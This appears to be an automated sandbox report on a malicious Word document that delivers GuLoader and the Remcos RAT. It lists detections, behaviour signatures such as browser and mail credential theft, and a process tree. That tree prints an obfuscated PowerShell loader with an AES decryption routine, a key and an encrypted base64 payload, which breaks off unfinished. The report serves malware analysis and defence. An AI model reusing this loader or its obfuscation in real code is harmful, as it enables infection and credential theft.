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Windows
Analysis Report
girlfrnd.doc
Overview
General Information
Sample name: | girlfrnd.docrenamed because original name is a hash value |
Original sample name: | createdgoodthingstogetmebacktheentirethingsinolineswitchtogilfrnfboobstounderstandhowfeelurareinthesituation_____________creanthesituationgirlfrnd.doc |
Analysis ID: | 1483047 |
MD5: | 9f63ee5ef179cfcf56619e1c9d44447a |
SHA1: | 6c9efbc2d4a76e25d826f85b7f0d27906cade93a |
SHA256: | 59d95b241a02fbef4d098fe7ff3ce6a5b97e638661429702744436c90c3047fa |
Tags: | doc |
Infos: | |
Detection
GuLoader, Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Contains functionality to bypass UAC (CMSTPLUA)
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Delayed program exit found
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs a global keyboard hook
Installs new ROOT certificates
Maps a DLL or memory area into another process
Obfuscated command line found
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Potential malicious VBS script found (suspicious strings)
Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)
Searches for Windows Mail specific files
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found URL in obfuscated visual basic script code
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w7x64
- WINWORD.EXE (PID: 2192 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" /Au tomation - Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) - EQNEDT32.EXE (PID: 428 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) - wscript.exe (PID: 976 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\creat edthingsto befrankwit hmeeverywh e.vBS" MD5: 979D74799EA6C8B8167869A68DF5204A) - powershell.exe (PID: 3076 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command ( ('((e4jfun ction Decr ypt-AESEnc ryption {P aram([Stri ng]TMIBase 64Text,[St ringe4j+e4 j]TMIKey)T MIe4j+e4ja esManaged = New-Obje ct System. See4j+e4jc urity.Cryp tography.A esManaged; TMIa'+'esM anagee4j+e 4'+'jd.Mod ee4j+e4j = [Syse4j+' +'e4jtem.S ecurity.Cr yptoge4j+e 4jraphy.e4 j+e'+'4jCi e4'+'j+e4j pherMode]: :CBC;TMIae sManaged.' +'Pae4j+e4 jddin'+'g = [System. Security.C ryptograph y.PaddingM ode]::Zero s;TMIaesMa naged.Bloc kSiz'+'e = 128;TMIae sManaged.K eySize = 2 56;'+'TMIa esManagee4 j+'+'e4jd. Key = ('+' New-Object e4'+'j+e4j System.Se curity.Cry ptography. SHA256Mana ged).Compu teHash([Sy ste'+'m.Te xt.Encodin g]::UTF8.G ee4j+e4jtB ytes(TMIKe y));TMIcip herBytes = [Syst'+'e m.Convert] ::FromBase 64String(T MIBase64Te xt);TMIaes Managed.IV '+'= TMIc ipherBytes [0..15];TM Idecryptor = TMIaesM anaged.Cre ateDecrypt or();TMIde cryptedByt es = TMIde cryptor.Tr ansformFin '+'alBlock (TMIcipher Bytes, 16, TMIcipher Bytes.Leng th - 16);e 4j+e4jTMIa e'+'sManag ed.D'+'isp ose('+');r eturn [Sys tem.Text.E ncoding]:: UTF8.GetSt ring'+'(TM Idecry'+'p tedBytes). Tre4j+e4ji m([char]0) ;}TMIchave = CnI9868 5860701936 1623168091 31591218Cn Ie4j+e4j;T MItextoCri ptogr'+'af adoBase4j+ e4je64 = ' +'CnI/cGJm qVj5jCchNU uqniccRhpm R5qMkJqyax LjAOoZS+I6 UjjzBuHKkM UIawH3bTvD j7nWJq1X++ W/D0YbGXb8 mznv8QaOqQ P1S2jB+yDr e2mYNc51z8 8VDp5yhLxv 2jub4BAD5M Qkn09gj7sF rzKiS0Lv4b bd7SWdBlNN Y01HOPdZZi 88uLKrHF09 4fRfKbDTWl 6drqxh86PY BPPz5p2Ly9 NFsVGPk0ku b6u6Kg9MbD 3UxusVGZCd Uc0aq5EXDq vPaek1WSrh MDfsWP03fZ TtbxI2uIb7 3uc20hNa8t KlWpVgQcg5 yXgT1Syt4J sFjugZ9Qtq 1uX/OG7aRA uR2SPi44P2 7EfktJtInM KpDXYHkjZS 52YqNTFAu7 vkn80WLfrj aKO1puSNI8 3KG4Gb5VMO 0L0qfDKNvu sZUr6nwSAn dn5NEdU4kR RcVNX137D+ ZBob0WbqlG LDBY6a+EMG zYtzcJ9yDU 9sRHuvpnJ5 c0hkwPy4DW 2nC9xKyXCl HpMrOAGz59 KK909AdcVa 3cZMI4okN0 iylLC6wphi kPk+n/lH8d SrmPfxXmny xHQ6FPMQ3t 7W6XvHMIHB TNK1roZfwe xEEon7dKRD C0d2IrLWly M+aSkJSwie qOUXpMZyJU m2hcsj8O2q Q6SJSSECSO 9pH7mC3RTL zx/Yu4I0g+ aMXaEbo7jn GZCzrsoXBR asrE5huijl M3SPVHWt7B mPHFNB5UAt l1Poeor3pa yTIoDvmHLQ 5udJKwLQ55 FOeaNJf+pm ojioT+Punj 9PkhiGcH6x TdE+2IrxNP E7ay7Vlrz0 F+zzhORfur 8P5pHWq383 QgBA8DubDw QoW+2/zvvG y0+vtBVpAZ BtMhKqsSHt Y4fy3hgqLx KhWAneQJQ8 WqLkzqUVDY 9EPZtjGeMd s6via1iXp+ weIOrC5nUh oaj4yGoY2M oXMyeOduTv 3614RUxvqv vcerqLinXX ajm5YyY2gV FXVy7lQs/l 3ppDJ/Er9y z3s9rYpNCL l0sEExFChP /0AEE9hA3q tQqm07KfQM 7Fm/TxVhAZ ZQIl8WYJ4s l9VdVuOvk8 2qKlTC24fp X5MYkZQF4i y2oZu7+Psw ZNBWNr+R8I beXGpk6YUL jJIQEn49p7 IIebLL4A+J 83MoPUBcLr /3wfiOdRzt CS5fsI1/7g WW61aBZmh9 WQ5Y/PN8qr PMJKYzSp84 UIHHxGLfpU uclLTYd606 7KhaUF+isN YUo0YQamdL vdcnsAnB1f FVG2Z6opzb G7sqFu6AQg